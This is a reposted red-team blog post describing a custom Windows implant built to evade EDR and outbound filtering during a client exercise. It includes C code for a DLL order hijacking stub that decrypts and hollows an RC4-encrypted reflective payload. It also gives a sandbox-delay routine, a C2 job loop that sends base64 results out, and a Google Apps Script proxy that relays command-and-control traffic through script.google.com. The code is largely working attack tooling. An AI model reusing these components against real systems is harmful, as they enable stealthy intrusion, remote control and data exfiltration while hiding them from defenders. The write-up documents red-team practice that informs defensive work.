Hindering Threat Hunting, a tale of evasion in a restricted environment

[Nytro]

Hindering Threat Hunting, a tale of evasion in a restricted environment

Written by: Borja Merino

24 November, 2020

It is both common and important for the development of a Red Team exercise to obtain information about the technologies and restrictions of the environment where our TTPs are going to be executed. This information mainly implies substantial changes in our modus operandi. Generally, one of these changes is to put aside known/public offensive tools and develop our own custom implants ad-hoc for the customer’s ecosystem, at the initial stages of infection where the chances of detection are high.

The following case that we would like to share is a clear example of this type of exercise. In one of our clients, we did obtain information about the EDR (Endpoint Detection & Response) technology deployed and the network restrictions for outgoing connections, where only domains such as Google, Microsoft, etc. are allowed.

After studying different approaches to bypass these restrictions, we proceed to develop a custom implant with the necessary capabilities to reach the BlackArrow C&C and carry out various post-exploitation actions without being detected. The following diagram represents the steps performed by the implant:

Implant logic

Step 1: DLL Order Hijacking

It is known that the use of DLL Order Hijacking is still quite efficient not only with AVs but also against EDR technologies. It is no wonder that multiple actors have been using these evasion techniques for years. As an input vector for the exercise, we chose one of the binaries used in a recent campaign described by Dr. Web in his report “Study of the ShadowPad APT backdoor and its relation to PlugX” . Specifically, we used the legitimate binary TosBtKbd.exe signed by TOSHIBA CORPORATION that, as shown below, is susceptible to DLL order hijacking in its function 0x4024A0.

DLL Order Hijacking (TosBtKbd.exe)

As we can see in the image, the DLL “TosBtKbd.dll” is loaded, via LoadLibrary(), without specifying its full path, making it possible to load a harmful DLL. Notice that the SetTosBtKbdHook symbol is invoked immediately.

Step 2: RC4 Decryption (reflective PE)

Running TosBtKbd.exe will trigger the harmful actions through our DLL. The skeleton of this library is shown below.

181. //#include "syscalls.h" //SysWhispers
182. void __stdcall UnHookTosBtKbd(void) {}
183. void __stdcall SetTosBtKbdHook(void)
184. {
185. char key[11];
186. stale();
187.  
188. //Get RC4 Key (TimeDateStamp DWORD value)
189. DWORD ts = getKey();
190. if (ts == NULL) return;
191.  
192. sprintf_s(key, "%X", ts);
193. DWORD dwCount;
194.  
195. //Get encrypted shellcode from resource
196. PCHAR exec = getResource(&dwCount);
197. if (exec != NULL)
198. {
199. //Decrypt shellcode
200. decrypt(key, exec, &dwCount);
201.  
202. //Lazy check (reflective loading stub)
203. if ((exec[1] == 'Z') && (exec[2] == 'E'))
204. {
205. uint8_t* pMapBuf = nullptr, * pMappedCode = nullptr;
206. uint64_t qwMapBufSize;
207.  
208. //Phantom DLL hollowing
209. //Ref: github.com/forrest-orr/phantom-dll-hollower-poc
210. //bTxF <-- (check NtCreateTransaction on the system)
211. if (HollowDLL(&pMapBuf, &qwMapBufSize, (const uint8_t*)exec, dwCount, &pMappedCode,bTxF)){
212. VirtualFree(exec, NULL, MEM_RELEASE);
213.  
214. //Less obvious indirect call
215. __asm
216. {
217. mov eax, pMappedCode
218. push eax;
219. ret
220. }
221. }
222. }
223. }
224. }

First of all, the stale() function is run. Its goal is to distract and confuse some machine learning checks and sandboxes that execute the DLL looking for malicious activity. By playing with the variable limit, we can get a delay of seconds/minutes before executing the malicious actions.

102. double c(int num1) { return (16 / (num1 * pow(5.0, num1 * 1.0))); }
103. double c1(int num1) { return (4 / (num1 * pow(249.0, num1 * 1.0))); }
104.  
105. void stale()
106. {
107. // Stale code. Play with the "limit" var to look for a delay you feel happy with
108. double limit = 100;
109. int j = 0;
110. double ans1 = 0.0;
111. double ans2 = 0.0;
112. int flag = 1;
113.  
114. for (j = 1; j <= limit; j += 1) {
115. if (flag == 1) {
116. ans1 += c(j);
117. ans2 += c1(j);
118. flag = 0;
119. }
120. else {
121. ans1 -= c(j);
122. ans2 -= c1(j);
123. flag = 1;
124. }
125. }
126. printf("%f", ans1);
127. }

Afterwards, an embedded resource in the DLL will be loaded and decrypted using the Windows CryptoAPI. This resource is a binary encrypted with RC4 that implements the main logic of the implant, that is, to establish communication with our C&C and execute post-exploitation actions.

Resource decryption (reflective PE)

It has been observed that some EDRs exclusively upload the unknown binaries to their cloud-sandbox for analysis, which is why TosBtKbd.exe’s TimeDataStamp has been used as RC4 key. Using a key from a file header of the container process, will make necessary an analysis within the appropriate context to recover the decrypted binary, which translates into more time for a hunter or malware analyst to obtain artifacts of interest such as, for example, the IP or domain of our C&C.

The following image shows the creation of the reflective PE from the binary compiled from Visual Studio using pe_to_shellcode (developed by security researcher Hasherezade). Note that later the binary is encrypted with RC4 using the TosBtKbd.exe’s TimeDataStamp.

Reflective PE generation (RC4 encryption)

Step 3: Phantom DLL

In order to make memory hunting more difficult and as an alternative to the most common injection techniques, Phantom DLL Hollowing has been used. Using this approach, created by the researcher Forrest Orr, it is possible to execute the binary within a + RX section, making it very difficult to detect it using traditional tools based on RWX allocations or suspicious threads.

In our case, the DLL used to make the phantom is aadauthhelper.dll, which was chosen based on the size of its .text section to house our reflective PE. You can notice the loader stub right at the beginning of that section (0x556C1000).

RX section (aadauthhelper.dll)

To start our implant’s execution, once the Hollowing DLL has been done, the classical cast of a function pointer (call eax) has been replaced with a less obvious indirect call: push eax, ret.

209. //Phantom DLL hollowing
210. //Ref: github.com/forrest-orr/phantom-dll-hollower-poc
211. //bTxF <-- (check NtCreateTransaction on the system)
212. if (HollowDLL(&pMapBuf, &qwMapBufSize, (const uint8_t*)exec, dwCount, &pMappedCode, bTxF)) {
213. VirtualFree(exec, NULL, MEM_RELEASE);
214.  
215. //Less obvious indirect call
216. __asm
217. {
218. mov eax, pMappedCode
219. push eax;
220. ret
221. }

Step 4: C2 connections through Google Apps Script

Perhaps, one of the trickiest parts of this exercise was the outgoing communications as it was a specially controlled environment. Regarding various alternatives, such as Domain-Fronting and similar techniques, we opted for something more “innovative”. In this context, we took an idea from a Forcepoint analysis on certain Carbanak TTPs where said actor abused the Google Apps Script to send and receive commands. Instead of using said platform as a command and control server, its scripting capabilities would be used to configure a proxy that allows us to reach our C&C.

It should be noted that there are various offensive tools that already take advantage of this platform in a very similar way to the initial idea raised by the Red Team/Threat Hunting team at BlackArrow. However, given the small number of real incidents that make use of these TTPs, it was considered that it could be the most appropriate approach to test the filtering capabilities of our target.

The result has been the development of a binary in C that makes use of the approach described in the following graphic.

Connections through proxy (Google Apps Script)

At first, our implant will launch a GET request (via HTTPS) in which it will embed, in one of its parameters, the URL of the C&C. This URL will be extracted from Google Apps Script and will act as an intermediary between the client’s communications and the control server.

After receiving the first GET, our C&C will return a random 10-byte token to the client. This token ensures that the connection comes from a legitimate host. Periodically, the implant, via POST, will check for new jobs. The result of these jobs (ps, screenshot, getinfo, etc.) will be sent to our C&C encoded in base64.

The code snippet belows shows the main loop in charge of managing the collection and sending of the results associated with each job. The runJob() function will be responsible for executing, through a switch case, each of the control commands and returning the result encoded in base64.

1. void C2_jobs(HINTERNET hConnect, TCHAR* urlPost)
2. {
3. DWORD dwBytesRead;
4. TCHAR* token = new char[BUFSIZ + 1];
5. const TCHAR* job = "/job";
6. TCHAR jobvalue[JSIZE];
7. TCHAR* urlJob, * urlTmp = NULL;
8. payenc_t pEncoded;
9. pEncoded.payenc = NULL;
10.  
11. urlJob = concatenate((const TCHAR*)urlPost, (TCHAR*)"/job/");
12.  
13. while (true)
14. {
15. Sleep(timer);
16. HINTERNET hHttpFile = HttpOpenRequest(hConnect, "POST", urlPost, NULL, NULL, NULL, INTERNET_FLAG_SECURE, NULL);
17. if (!HttpSendRequest(hHttpFile, NULL, NULL, NULL, NULL))
18. return;
19.  
20. if (!InternetReadFile(hHttpFile, token, BUFSIZ + 1, &dwBytesRead))
21. return;
22.  
23. if (dwBytesRead != 0)
24. {
25. token[dwBytesRead] = 0;
26.  
27. if (sscanf_s(token, "job=%[^\n]", jobvalue, sizeof jobvalue) == 1)
28. {
29. urlTmp = concatenate((const TCHAR*)urlJob, jobvalue);
30.  
31. pEncoded = runJob(jobvalue);
32. hHttpFile = HttpOpenRequest(hConnect, "POST", urlTmp, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
33. if (!HttpSendRequest(hHttpFile, NULL, 0, pEncoded.payenc, pEncoded.size)) return;
34.  
35. if (pEncoded.payenc != NULL)
36. {
37. free(pEncoded.payenc);
38. pEncoded.payenc = NULL;
39. }
40.  
41. free(urlTmp);
42. memset(jobvalue, '\0', JSIZE);
43. }
44. }
45. }
46. }

The following code was used to manage connection in Google Apps Script proxy configuration:

1. function doGet(e) {
2. var url = decodeURIComponent(e.parameter.url);
3. try {
4. var response = UrlFetchApp.fetch(url);
5. } catch (e) {
6. return e.toString();
7. }
8. var cookie = response.getAllHeaders()['Set-Cookie']
9. return ContentService.createTextOutput(cookie);
10. }
11.  
12. function doPost(e) {
13. Logger.log('[+] Post Done!');
14. payload = "";
15.  
16. if(e.postData){
17. payload = e.postData.getDataAsString();
18. }
19. else {
20. Logger.log("[-] Post Error :(")
21. payload = "!!Error";
22. }
23.  
24. var options = {
25. 'method' : 'post',
26. 'payload' : payload
27. };
28.  
29. var url = decodeURIComponent(e.parameter.url);
30. try {
31. var response = UrlFetchApp.fetch(url,options);
32. } catch (e) {
33. return e.toString();
34. }
35.  
36. Logger.log('UrlFetch Response: %s',response);
37. return ContentService.createTextOutput(response.getContentText());
38. }

As we can see in the following image, the client, from the TosBtKbd.exe address space or, to be more exact, from the mapped view (image memory) linked with aadauthhelper.dll, will communicate with the script.google.com service allowing us to bypass the organization’s filtering countermeasures.

Memory / Connections

In the C&C part, a simple Python service was developed to manage the listeners and the various post-exploitation tasks.

C&C server

Below is a video of one of the proofs of concept run on a Windows 10 2004.

 

Sursa: https://www.blackarrow.net/hindering-threat-hunting-a-tale-of-evasion-in-a-restricted-environment/